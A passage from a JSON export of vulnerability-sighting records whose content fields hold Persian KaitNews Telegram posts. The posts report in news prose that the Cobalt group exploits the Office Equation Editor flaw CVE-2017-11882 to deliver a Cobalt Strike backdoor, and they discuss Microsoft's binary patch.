\u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0638\u0647\u0627\u0631 \u06a9\u0631\u062f\u0646\u062f \u06a9\u0647 \u06af\u0631\u0648\u0647 \u0646\u0641\u0648\u0630 Cobalt \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0631\u0627 \u06a9\u0647 \u062f\u0631 \u0627\u0648\u0627\u06cc\u0644 \u0645\u0627\u0647 \u062c\u0627\u0631\u06cc \u0631\u0641\u0639 \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u0631 \u0648\u06cc\u0698\u06af\u06cc  Equation Editor \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a (EQNEDT\u06f3\u06f2.EXE) \u06a9\u0634\u0641 \u0634\u062f\u060c \u0648 \u062f\u0631 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0631\u0648\u0632 \u0633\u0647\u200c\u0634\u0646\u0628\u0647\u200c\u06cc \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0631\u0641\u0639 \u0634\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u062f\u0631 \u06cc\u06a9 \u0645\u0624\u0644\u0641\u0647\u200c\u0627\u06cc \u06a9\u0634\u0641 \u0634\u062f \u06a9\u0647 \u0627\u0632 \u0631\u0648\u0632 \u06f9 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u062f\u0631 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u062f\u0648\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647 \u0627\u0633\u062a\u060c \u0648 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u0628\u0647 \u062c\u0627\u06cc \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0628\u0647 \u0637\u0648\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u062f\u0631 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u0635\u0644\u0627\u062d \u0634\u0648\u062f \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u0648\u0635\u0644\u0647\u200c\u06cc \u0622\u0646 \u062f\u0631 \u0647\u0641\u062a\u0647\u200c\u06cc \u06af\u0630\u0634\u062a\u0647 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u0645\u0624\u0644\u0641\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u062a\u0633\u0647\u06cc\u0644 \u0627\u06cc\u062c\u0627\u062f \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0631\u06cc\u0627\u0636\u06cc \u0648 \u0639\u0644\u0645\u06cc\u060c Equation Editor \u062f\u0631 \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f1\u06f7\u060c \u0628\u0627 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc\u062f \u0646\u0645\u0627\u06cc\u0634 \u0648 \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0631\u0627\u06cc \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0633\u0627\u0632\u06af\u0627\u0631\u06cc \u0628\u0627 \u0627\u0633\u0646\u0627\u062f \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631\u060c \u0627\u0628\u0632\u0627\u0631 \u0642\u062f\u06cc\u0645\u06cc \u0647\u0645\u0686\u0646\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0645\u062d\u0628\u0648\u0628 \u0622\u0641\u06cc\u0633 \u0627\u0633\u062a.\n\n \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15 \n\n\u0622\u0632\u0645\u0627\u06cc\u0634\u06af\u0627\u0647 ReversingLabs \u06a9\u0647 \u0645\u0648\u0641\u0642 \u0628\u0647 \u0636\u0628\u0637 \u06cc\u06a9 \u0633\u0646\u062f RTF \u0628\u0627 \u0637\u0631\u0627\u062d\u06cc \u062e\u0627\u0635 \u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0634\u062f \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f\u060c \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u0631\u0641\u0639 \u0634\u062f\u0647\u060c \u0627\u062e\u06cc\u0631\u0627\u064b \u062a\u0648\u0633\u0637 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646  Cobalt \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a.\n\n\u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u0628\u0627 \u06cc\u06a9 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u062a\u0645\u0627\u0633 \u0628\u0631\u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u0631\u062d\u0644\u0647\u200c\u06cc \u0627\u0648\u0644 \u0631\u0627 \u06a9\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 MSHTA.exe \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u062c\u0645\u0639\u200c\u0622\u0648\u0631\u06cc \u06a9\u0646\u062f. \u0633\u067e\u0633 \u0627\u06cc\u0646 \u06a9\u062f \u0627\u062c\u0631\u0627\u0634\u062f\u0647 \u0628\u0647 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0648\u0635\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u0631\u062d\u0644\u0647\u200c\u06cc \u062f\u0648\u0645 \u0648 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0631\u0627 \u06a9\u0647 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0646\u0647\u0627\u06cc\u06cc \u062a\u0639\u0628\u06cc\u0647 \u0634\u062f\u0647 \u0631\u0627 \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u0632 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u0627\u0628\u0632\u0627\u0631 \u0645\u062e\u0631\u0628 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647\u060c \u062f\u0631\u0628 \u067e\u0634\u062a\u06cc Cobalt Strike \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627\u0647 \u062f\u0648\u0631 \u0631\u0627 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0622\u0644\u0648\u062f\u0647 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\n\u0635\u0631\u0641 \u0646\u0638\u0631 \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u06a9\u0647  \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u062e\u0648\u062f \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0648\u0635\u0644\u0647\u200c\u0646\u0634\u062f\u0647\u200c\u06cc EQNEDT\u06f3\u06f2.EXE\u060c \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0622\u0641\u06cc\u0633 \u0631\u0627 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062d\u062a\u06cc \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u06a9\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u06f1\u06f0 \u0631\u0627 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0646\u06cc\u0632 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc \u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0632\u0648\u062f\u06cc \u067e\u0633 \u0627\u0632 \u0639\u0645\u0648\u0645\u06cc \u0634\u062f\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u060c \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u062c\u0627\u06cc \u0647\u06cc\u0686 \u062a\u0639\u062c\u0628\u06cc \u0646\u06cc\u0633\u062a \u06a9\u0647 Cobalt \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0631\u0627 \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u062f\u060c \u0645\u062e\u0635\u0648\u0635\u0627\u064b \u06a9\u0647 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0646\u0641\u0648\u0630 \u062f\u0631 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u06a9\u0634\u0641 \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u062e\u06cc\u0644\u06cc \u0633\u0631\u06cc\u0639 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u06af\u0631\u0648\u0647 Cobalt \u06af\u0631\u0648\u0647\u06cc \u0628\u0627 \u0627\u0646\u06af\u06cc\u0632\u0647\u200c\u06cc \u0645\u0627\u0644\u06cc\u060c \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f6 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0639\u0631\u0641\u06cc \u0634\u062f \u0648 \u0645\u0639\u0645\u0648\u0644\u0627\u064b \u0628\u0627\u0646\u06a9\u200c\u0647\u0627\u060c \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u0628\u0627\u062f\u0644\u0627\u062a \u0645\u0627\u0644\u06cc\u060c \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0628\u06cc\u0645\u0647\u060c \u0635\u0646\u062f\u0648\u0642\u200c\u0647\u0627\u06cc \u0633\u0631\u0645\u0627\u06cc\u0647\u200c\u06af\u0630\u0627\u0631\u06cc\u060c \u0648 \u0633\u0627\u06cc\u0631 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627\u06cc \u0645\u0627\u0644\u06cc \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0627\u0632 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0641\u06cc\u0634\u06cc\u0646\u06af \u06a9\u0647 \u0627\u0633\u0646\u0627\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u062f\u0631 \u067e\u06cc\u0648\u0633\u062a \u062f\u0627\u0631\u0646\u062f \u0648 \u06cc\u0627 \u0627\u0632 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0641\u0634\u0631\u062f\u0647\u200c\u0634\u062f\u0647 \u06a9\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062a\u0648\u0632\u06cc\u0639 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062e\u0648\u062f \u0628\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062f\u0631 \u0627\u0648\u0627\u06cc\u0644 \u0633\u0627\u0644 \u062c\u0627\u0631\u06cc\u060c \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0634\u0631\u0648\u0639 \u0628\u0647 \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f0\u06f1\u06f9\u06f9 \u06a9\u0631\u062f \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0622\u0648\u0631\u06cc\u0644 \u0648\u0635\u0644\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0648 \u0639\u0645\u0644\u06cc\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u062f\u0631 \u0622\u0645\u0631\u06cc\u06a9\u0627\u06cc \u0634\u0645\u0627\u0644\u06cc \u06af\u0633\u062a\u0631\u0634 \u062f\u0627\u062f \u0648 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062d\u0645\u0644\u0627\u062a \u0632\u0646\u062c\u06cc\u0631\u0647\u200c\u06cc \u062a\u0627\u0645\u06cc\u0646 (\u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0622\u0644\u0648\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u06cc\u06a9 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0642\u0627\u0646\u0648\u0646\u06cc \u062f\u0631 \u062d\u06cc\u0646 \u062a\u0648\u0633\u0639\u0647 \u0627\u0633\u062a) \u0631\u0627 \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f. \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0641\u0642\u0637 \u0631\u0648\u06cc \u0627\u0631\u0648\u067e\u0627\u06cc \u0634\u0631\u0642\u06cc \u0648 \u0622\u0633\u06cc\u0627\u06cc \u0645\u0631\u06a9\u0632\u06cc \u0648 \u062c\u0646\u0648\u0628\u200c\u0634\u0631\u0642\u06cc \u062a\u0645\u0631\u06a9\u0632 \u06a9\u0631\u062f\u0647 \u0628\u0648\u062f\u060c \u0627\u0645\u0627 \u0627\u06a9\u0646\u0648\u0646 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u06af\u0632\u0627\u0631\u0634\u06cc \u06a9\u0647 \u0647\u0641\u062a\u0647\u200c\u06cc \u06af\u0630\u0634\u062a\u0647 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f \u0646\u0634\u0627\u0646 \u062f\u0627\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0628\u0647 \u062c\u0627\u06cc \u0645\u0634\u062a\u0631\u06cc\u0627\u0646 \u0628\u0627\u0646\u06a9\u060c \u062e\u0648\u062f \u0628\u0627\u0646\u06a9\u200c\u0647\u0627 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u062a\u0644\u0627\u0634 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u062a\u0627 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f8\u06f7\u06f5\u06f9 \u06a9\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0632\u0631\u06cc\u0642 \u06a9\u062f \u0648 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u062f\u0631 \u0686\u0627\u0631\u0686\u0648\u0628\u0650 \u062f\u0627\u062a\u200c\u0646\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0633\u062a \u0648 \u062f\u0631 \u0645\u0627\u0647 \u0633\u067e\u062a\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f6 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u0647\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u06a9\u0646\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15", "creation_timestamp": "2026-07-30T00:03:12.595578Z"}, {"uuid": "776e7d02-1bc8-4202-b590-b297458f20fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6531", "content": "\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0627\u0638\u0647\u0627\u0631 \u06a9\u0631\u062f:\u200c \u00ab\u062f\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u0627\u0635\u0644\u0627\u062d\u200c\u0634\u062f\u0647\u060c \u0634\u0634 \u0645\u0648\u0631\u062f \u0628\u0631\u0631\u0633\u06cc \u0645\u062d\u062f\u0648\u062f\u0647 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f\u060c \u0648 \u0627\u0632 \u0622\u0646\u200c\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u0646\u0638\u0631 \u0646\u0645\u06cc\u200c\u0633\u062f \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0628\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0645\u0631\u0628\u0648\u0637 \u0628\u0627\u0634\u0646\u062f\u060c \u0645\u0627 \u0645\u0639\u062a\u0642\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0686\u0646\u062f \u0628\u0631\u062f\u0627\u0631 \u062d\u0645\u0644\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631 \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0645\u0646\u062c\u0631\u0628\u0647 \u06cc\u06a9 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631 \u0634\u0648\u0646\u062f \u0648 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u0647 \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0646\u062f.\u00bb\n\n\u0648\u06cc \u0627\u0641\u0632\u0648\u062f: \u00ab\u0648\u0635\u0644\u0647\u200c\u06cc \u06cc\u06a9 \u0645\u062d\u0635\u0648\u0644 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u06cc \u0627\u0632 \u0637\u0631\u06cc\u0642 \u06a9\u062f\u0647\u0627\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc\u200c \u0628\u0647 \u062c\u0627\u06cc \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u06a9\u062f \u0645\u0646\u0628\u0639 \u062a\u063a\u06cc\u06cc\u0631\u06cc\u0627\u0641\u062a\u0647\u200c\u060c \u0628\u0633\u06cc\u0627\u0631 \u0645\u0634\u06a9\u0644 \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0645\u0647\u0646\u062f\u0633\u0627\u0646 \u0645\u0627\u06cc\u0631\u0648\u0633\u0627\u0641\u062a \u0647\u0646\u06af\u0627\u0645 \u0648\u0635\u0644\u0647\u200c\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u060c \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0628\u0631\u062c\u0633\u062a\u0647 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f. \u0628\u0627 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0642\u062f\u06cc\u0645\u06cc \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0647\u0646\u0648\u0632 \u0647\u0645 \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u06a9\u0647 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062d\u0627\u0644 \u0634\u0648\u062f \u06a9\u0647 \u0627\u0633\u0646\u0627\u062f\u06cc \u06a9\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u06cc \u0642\u062f\u06cc\u0645\u06cc \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0627 \u0646\u0633\u062e\u0647 \u06cc \u062c\u062f\u06cc\u062f \u0646\u06cc\u0632 \u0633\u0627\u0632\u06af\u0627\u0631 \u0647\u0633\u062a\u0646\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u062a\u0646\u0647\u0627 \u0633\u0648\u0627\u0644\u06cc \u06a9\u0647 \u0628\u062f\u0648\u0646 \u062c\u0648\u0627\u0628 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647\u060c \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647 \u0686\u0631\u0627 \u0634\u0631\u06a9\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0647 \u062c\u0627\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0648 \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u0622\u0646 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a \u06a9\u0647 \u0645\u0633\u062a\u0642\u06cc\u0645\u0627 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u062f. \u0628\u0631\u062e\u06cc \u0645\u0639\u062a\u0642\u062f\u0646\u062f \u06a9\u0647 \u0645\u0645\u06a9\u0646 \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0631\u0627 \u0627\u0632 \u062f\u0633\u062a \u062f\u0627\u062f\u0647 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-30T00:03:12.302527Z"}, {"uuid": "36b2f385-d495-4984-8dfd-eee8320312e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6530", "content": "\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a! 